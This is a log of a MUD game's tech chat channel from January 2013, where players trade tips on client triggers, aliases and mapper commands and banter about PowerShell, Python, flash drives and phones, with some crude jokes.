T3/r7/2013-01-07.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish raises an eyebrow.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: because lining up corners is difficult?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}SuperJayT Tech: is there a sepllup script for cmud readily available?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Probably.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: if there weren't nobody would be using cmud
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Book of Etzli Tech: I have one, but it takes a couple extra steps.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Hanslanda Tech: I don't have one, always just used the ingame feature.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Hanslanda.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Hanslanda Tech: I do track affects/resists, though.
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: yall ever seen a virus that prompts for router username and password?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Haldrik Tech: there a shortcut for mushclient to open/close trigger window?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: shift+ctrl+8
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Haldrik Tech: nice, thanks
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Haldrik Tech: doesn't work :( ug
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Aliens Tech: works for me
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Haldrik Tech: yea must be something in windows, i see the shortcut in the menu
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Make sure you're not using the numpad.
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Haldrik Tech: im not
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Book of Etzli Tech: And in Windows, it works.
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Westclox Tech: try Alt+Enter
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Haldrik Tech: that worked :)
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Haldrik Tech: do i have some weird setting that would make the other one not?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Haldrik Tech: There a way to pass regex matches to variables in mush?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: use %1, %2, etc
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Haldrik Tech: ahh was using $1
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: that's zmud, iirc
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Haldrik Tech: Great
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Haldrik Tech: Yeah i've done a lot of Dragonrealms scripting with genie
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Haldrik Tech: So, if I'm using a trigger and sending to "world" can i have other commands send to other windows?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Haldrik Tech: for example, "send trigger to world" "send command to log"
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Haldrik Tech: Hmmm... How to capture the entire campaign to a window :)
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Acheos Tech: what do you mean capture
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Haldrik Tech: I'd just like the campaign info to echo over to a window.
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Acheos Tech: and can always copy and paste to a notepad, i just use 'cp ch' which is campaign check
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Mokg Tech: winkles scripts do that
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Haldrik Tech: Where do i find Winkles scripts?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}RedRain Tech: finger winklewinkle
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Haldrik Tech: awesome, thanks guys
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Santher Tech: acutally the new psu can run like a 300w gpu
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Santher Tech: mis
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's metric
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: mis
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Vakieh Tech: Anyone on office 2013 yet?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Anyone know of a good resource for flashing a Sprint GS3 to Verizon? My google-fu is hella fail today.
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Mucio Tech: how can I set the aardmush so that I only see channels in the communication log and not the play screen?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Tzadi Tech: Is there a simple way to set something up or download a package that will let me open doors when I walk into them?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Trachx Tech: right-clic
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Trachx Tech: right-click on communication window and choose echo channels to main window
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Trachx Tech: you can define custom exits to go through doors
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Mucio Tech: after i choose echo channels?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Tzadi Tech: Any help files or something to look that up?  Used zmud/cmud my whole life and using MUSHclient for first time.
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Trachx Tech: for custom exist with doors: mapper cexit open w;w
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Trachx Tech: use double semicolon between open w and w
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Tzadi Tech: Ok thanks.
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Trachx Tech: though you have to add manually every such exit
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Trachx Tech: at least till you get pass door
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Trachx Tech: there may be some plugins for that, though I don't know of any, but you could check Fiendish and Bast sites - just finger them for url
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Tzadi Tech: Awesome thanks.
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Siren Cera Tech: i set a trigger, when I come across a door I cant pass through, it tried to open all directions, I've an alias too for manual.
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Heisenburger Tech: could anyone help me with a multiline trigger?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Depends on what client.
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Heisenburger Tech: i just figured it out. thanks though
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Haldrik Tech: Does the mushclient save hp/mana to any global variables?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Hueitliltic Tech: anyone uses mudlet?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Cadriel Tech: Anyone able to help me with a quick question about aliasing GMCP commands?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Turie Tech: Interesting, the new Blackberry OS will be able to run several Android OS Apps.
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Hanslanda Tech: what client?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Cadriel Tech: MushClient
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Cadriel Tech: Basically just being able to get around the multiple commands/semi-colon issue, if I want to alias cexit commands.
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Hanslanda Tech: use ;; instead of ;
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: double the ;s
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Hanslanda Tech: in the future, you may want to explain your issue as clearly as possible.  "GMCP commands" are actually commands you can send to aard to have to return gmcp tags it would normally send you at the appropriate times.  Something much different than the GMCP mapper commands
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Cadriel Tech: Okay, one more quick question, since its sending to the plugin (in this case the GMCP mapper, and not to the MUD) how do I address that?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Hanslanda Tech: what's the "it" in this case?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Cadriel Tech: Just trying to make simple aliases, like mapper cexit open north north
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Cadriel Tech: Obviously with semi-colons
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Hanslanda Tech: I think send to execute or send to script.
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Tzadi Tech: Question - I just tried to install a campaign tracker miniwindow - saved xml file, added plugin.  Buit do not seee the window.  Am I missing a step?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: go on a campaign
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Tzadi Tech: I've got one active right now.
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Tzadi Tech: Not seeing any window.
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Aliens Tech: type cp c
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Tzadi Tech: Yea - did that.  Shows it in main window but no miniwindow popped up when I added the plugin.
T3/r7/2013-01-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: did you do it before or after you added the plugin?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Tzadi Tech: I've done it both.
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Tzadi Tech: Plugin is installed - shows it's enabled.  Just no new window.  Unless it's behind one of my others maybe?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Tzadi Tech: It's my first time trying to add one.
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Tzadi Tech: Does anyone use Bast's mini-window tabber?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Morill Tech: is there an easy way to make mapper handle 'rt area' commands instead of the mud?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Vakieh Tech: Aliases or plugins exist to do that
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Morill Tech: any specific recommendations for mushclient?
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Vakieh Tech: For example, you can find the id # of the entrance room, and alias 'rt area' to 'mapper goto #' for the appropriate area/room combo
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Vakieh Tech: To find the number of a room, hover over it on the mapper window, or type 'mapper thisroom'
T3/r7/2013-01-08.txt.gz:{chan ch=tech}Morill Tech: yeah but i was hoping there was a systematic way to do it besides setting up a macro for every area
T3/r7/2013-01-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there are many ways
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Kev Tech: question.  This has nothing to do with the game.  But is there any one on here that has worked with Powershell
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Haldrik Tech: lol
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Aliens Tech: yes it's ugly
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Kev Tech: I have to do it for school
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Haldrik Tech: why not just ask your question?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ranrr Tech: Tell your teacher that python is much better :D
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: WinkleWinkle is agreeing with that Ranrr person again...
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: python is less likely to be on windows servers, and cannot be used to control all microsoft technologies, however
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vakieh Tech: .bat ftw :-S
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, because that works, Ranrr, so well.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ranrr Tech: I wouldn't know, don't use windows. But I thought it was available for windows.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vakieh Tech: It is
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: I stated nothing about whether it can be used on windows
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Santher Tech: yes powershell is included with windows
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: there are 2 definitions of availability in this case...it's "available" for windows in that it can be installed...it won't be "available" on 98% of thewindows machines most people will touch
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Santher Tech: nods
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Santher Tech: just have to add it via control panel
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: and powershell is highly integrated with many microsoft technologies, and is the only supported way to inteact with them
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Santher Tech: same with IIS
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: (by available for windows, he meant python, not PS)
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Santher Tech: oh
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Santher Tech: got confused :P
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ranrr Tech: I guess I'm just used to getting any language I need with a simple apt-get command. Didn't realize it was so hard for windows to get a new language.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: so in order to manage an Exchange 2010 server, you'll be using powershell...even if you prefer python
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: Santher nods.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: has nothing to do with "hard to get a new language"
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vakieh Tech: I just put 3.3 on my 7 box in around 2 minutes, site->dl->UAC signoff->fin
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ranrr Tech: Ok, inflexible OS then.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: has to do with "won't already be there, and you don't necessarily have the authority to put it there, and STILL doesn't change the fact that you absolutely MUST use powershell to do stuff"
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Santher Tech: hardly
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Aliens Tech: yay platform holy war
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Santher Tech: people that say win 7 is hard haven't used it much
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: the OS doesn't care what language you use
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: but many proprietary technologies won't have any python support, but do have low-level powershell hooks
T3/r7/2013-01-09.txt.gz:{chan ch=tech}WinkleWinkle Tech: I'm trying to learn iOS objective C right now.. don't know where to start
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Haldrik Tech: And then people who replace him will have to know python, what if he converts the whole system to python then leaveS?:P
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Santher Tech: he gets a raise?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ranrr Tech: Doesn't everyone know python?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Haldrik Tech: haha....
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ranrr Tech: Even I do, nowadays. I thought I was the last human to learn it.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: Basically anyone that knows english can learn python in a week :P
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: most people in IT don't know python (or any languages, really)
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: Santher rapidly nods twice, in complete agreement.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Santher Tech: computer management is about coding unless you wanna do something abnormal
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Haldrik Tech: Yeah...when I was doing database management the IT people were basically there to install applications on windows and give network drive access
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ranrr Tech: Well, if you don't know any language, then the whole discussion about which language to use is moot.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Aliens Tech: python wouldn't happen in a profesional windows shop, because management would rather be watersking with the kids than learning python or whatever is approved by geeks this week
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ranrr Tech: management doesn't code
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Santher Tech: and they shouldn't have to
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: depends on the size/structure of the organization
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: I disagree... The best managers i've met also have a lot of the knowhow to get their hands dirty.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Santher Tech: yeah in the old dirty days of pcs, sure
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Aliens Tech: it management do want to going whats going on, and also ensure all his "assets" are replacable
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: i still scripted stuff as the director of a million dollar IT department
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Santher Tech: nowadays with the internet and a search engine you can get a pc to do anything
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Aliens Tech: still wont make sammich
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: You smirk at his saying.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: If you have the right computer, it will.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: Cadriel P
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: Cadriel smirks.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: 3d print me a sammich
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: Robotic applications aren't a thing of the past anymore. You could develop a system for under ten grand just to make sandwiches if you have the knowledge to do it yourself.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}WinkleWinkle Tech: 3d print a sammich!
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: I want a 3d printer, but I can't even afford a new PC at the moment =/
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Aliens Tech: or you could meet someone, have them make it, then have kids and have them make them
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ranrr Tech: Gonna cost more than 10 grand tho
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: Right? The robot is still cheaper, lol
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: you can make a 3d printer
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Aliens Tech: last long tho
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Aliens Tech: the robot will be broken in what 5 years 
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: idk, I still think the maintainence costs are still lower.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: so will the woman
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: And in five years, statistically there's a good chance will hate you and not make you a damn thing lol
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: your wife will hate you*
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Aliens Tech: then you aint tightening her screws right  ;-)
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Santher Tech: not make a damn thing in 5 years? sounds like a wife :P
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: I meant after five years, but yeah, not far off
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: Santher chuckles politely.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: I love how every channel is getting totally derailed tonight
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Santher Tech: cept for good ol barter people watch that channel like a hawk
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Book of Etzli Tech: Holy hell. Kingston unveiled a 1TB flash drive... their 512GB flash drive is $1,750... I'm scared to know how much they'll charge for the 1TB...
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vakieh Tech: What would be the purpose of a 512/1tb flash drive? Things are unreliable as the proverbial, simply due to the nature of the media they use to record on to.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ixle Tech: lots and lots of porn
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: they're great as imaging drives...slow as heck to write to, but read from rules
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Mokg Tech: I have about 10 different flash drives. never have had an issue with any
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vakieh Tech: Better to have many 8gb sticks, that way if some fail you still have some porn to fall back on
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ranrr Tech: I only use cloud porn nowadays
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ranrr Tech: Not to confuse with clown dito
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ixle Tech: Cloud porn!? That's just sick.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: that one looks like a...nevermind
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vakieh Tech: I think they call it intangible-core porn
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vakieh Tech: I deal with photo kiosks for a good part of my working week - the amount of failed USB drives I have to explain a week is ludicrous. Granted, they are usually the ones stored in a coin purse or from the 90s, but still.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: and they're usually giveaway-quality ones...
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ranrr Tech: Also, the FAT file system is probably responsible for a couple of those failures.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ranrr Tech: The combo of FAT and people janking them out while they are being written.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Aliens Tech: the fat fs ?  not clueless users pulling out drive with unflushed buffers ?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vakieh Tech: Usually NTFS, and while the odds are high it's a dodgy brand, kingston, Lexar, Sandisk, they all fail.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: mind you, pulling out before they're done writing will corrupt the data,but doesn't harm the drive
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ranrr Tech: Users can't tell the difference.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: for home, I like the army of 8GBs...for imaging computers, 64GB was a bit too cramped
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vakieh Tech: Yeah, plenty of 'needs a format', that's not too bad unless it's "But my dead/wedding/birth" bullshit. Plenty of 'cannot mount' as well, though.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: I've had one flash drive fail on me ever,so far..and that's one that a vendor left in a kiosk computer when it shipped
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: cannot mount isn't usually a failed drive either
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vakieh Tech: Cannot mount is the first error that usually leads to the recovery utilities I have informing me the whole thing has crapped out
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ranrr Tech: I've never had a flash drive fail, even the one I keep in my wallet or the one on my keychain.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: and I do leave them in my back pocket, put them in the laundry, etc...mangle the USB connector's metal shield and have to bend it back to be square to fit in the ports
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Aliens Tech: heh, i have been using one with no case, just bare circuit board, even it still works
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vakieh Tech: Some people get lucky though. I personally haven't had any drives fail, USB or not. Probably 15 drives I've used heavily, only ever upgraded, never had a failure of any kind. *touches wood
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Aliens Tech: only one that failed on me i was running chkdsk on, lol
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ranrr Tech: I once had 2 drives fail at the same time in a raid set though. Fortunately, I was paranoid enough to have it be raid6.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vakieh Tech: Aliens, that sounds like a great way for this to happen https://www.youtube.com/watch?v=rr7bPmGTQUk
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: 2 thumb drives in a raid 6?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Aliens Tech: hmm RAID of USB flash drive would be funny
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: excruciating write speeds
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Aliens Tech: lol vak, electrolytic cap wired wrong
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: tag! tech is it!
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ranrr Tech: Are there any dual head laptops? I need more screen space...
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ranrr Tech: Any brands  of ssd known to be really good and really bad?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Lecithin Tech: Having a major brain fart here... i just ordered a bunch of new computer parts to build my own computer... but how can i tell if it will be 32 or 64 bit compatible?  Is it based on the ram or the hardware specifically?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Mucio Tech: wouldn't that depend on the drivers for the parts? can probably google each of them and see if they have 64/32 bit drivers for a quick guess (from less than basic knowledge of computres)
T3/r7/2013-01-09.txt.gz:{chan ch=tech}YOU GOT A! Wittle Tech: can someone help me connect to xbox live:P
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Runtur Vanion Tech: need to pay for that :p
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Runtur Vanion Tech: wonder if xbconnect is still around :p
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Lecithin Tech: is ivy bridge or sandy bridge the newest processor?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vost Tech: ivy bridge
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Li'l Miss Ehlena Tech: Is there anyone who can fix an issue for me? I used to have the window where I type commands bigger but my child messed with my laptop and broke that. Now when I drag it to try and make it bigger again it just pops smaller. I'm using aard mush and not being able to see what I'm typing is mildly infuriating. Does anyone know how to fix it?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ixle Tech: Ehlena What happens if you hover your cursor over the top part of that "window" ?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Li'l Miss Ehlena Tech: I don't know how but he fixed it playing with it
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ixle Tech: If we're talking about the same thing, I can click-hold and drag it to be bigger or smaller.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Arystul Tech: anyone know how to take a screen shot on samsung galaxy s3?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Hanslanda Tech: there's probably an app for that
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: Dat Eutychus snickers softly.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Hanslanda Tech: heh, and I was being so serious too.  Even Blackberries have such apps.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Arystul Tech: I'd imagine since it was trying to oneup apple iphones that its a built in ability
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Dat Eutychus Tech: I have the gs3 too but haven't figured out if it was possible w/o an app.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Bast Tech: there is an option to set up a palm swipe to take a screenshot in Settings->Motion
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Arystul Tech: hmm the option is already selected, but when I do it it doesn't take picture? am I actually suposed to touch the side of my palm to the screene?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Bast Tech: try the edge of you hand when your hand is vertical instead of horizontal
T3/r7/2013-01-09.txt.gz:{chan ch=tech}TrEz Tech: is there an easy way to cap those damage verbs in mush
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Trachx Tech: you mean 'help damage' ?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Hanslanda Tech: triggers
T3/r7/2013-01-09.txt.gz:{chan ch=tech}TrEz Tech: they're listed there, yes
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Ontuct Tech: capture?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Hanslanda Tech: did you mean capture or limit?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}TrEz Tech: Your's heavenly balance does UNTHINKABLE things to some zigzagging wind! [1965]
T3/r7/2013-01-09.txt.gz:{chan ch=tech}TrEz Tech: I want to use one trigger for all dmg verbs
T3/r7/2013-01-09.txt.gz:{chan ch=tech}TrEz Tech: and separate the mob name from the damtype
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Trachx Tech: what for ?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: use damage 3 then
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: 1 trigger only
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Chimeishio Tech: set dam 2 and just capture pimpslaps?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: err, yeah, 2
T3/r7/2013-01-09.txt.gz:{chan ch=tech}TrEz Tech: there's no option for spells
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Doink Tech: Is it possible MUSH side, without actually writing a script. Just using the built in trigger creation, to trigger greater than a specific number. Such as from a compare screen, wanting to trigger off any score over 100?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Hanslanda Tech: nope, not possible.  The wildcarding for the built-in script system is *, which matches everything.  It would always trigger on anything in that spot.  Perhaps you could then evaluate it and only do "stuff" when it was greater than 100, but dunno how.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Doink Tech: Had a feeling thanks.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Hanslanda Tech: wait, triggers have a regex option, right?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Doink Tech: they do
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Hanslanda Tech: then I take it back.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Hanslanda Tech: not sure if you can do the eval right there in the pattern, though.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Hanslanda Tech: man, I'm tripping all over my thoughts today...
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Doink Tech: Got a second question to. If you could get it to trigger, can you pull a random ID #, from the same line you triggered off of?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Mokg Tech: yes
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Doink Tech: Need to write a script, or just MUSH side commands?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Mokg Tech: send to varaible
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Mokg Tech: variable*
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Mokg Tech: or just use * and %1 if you can match it
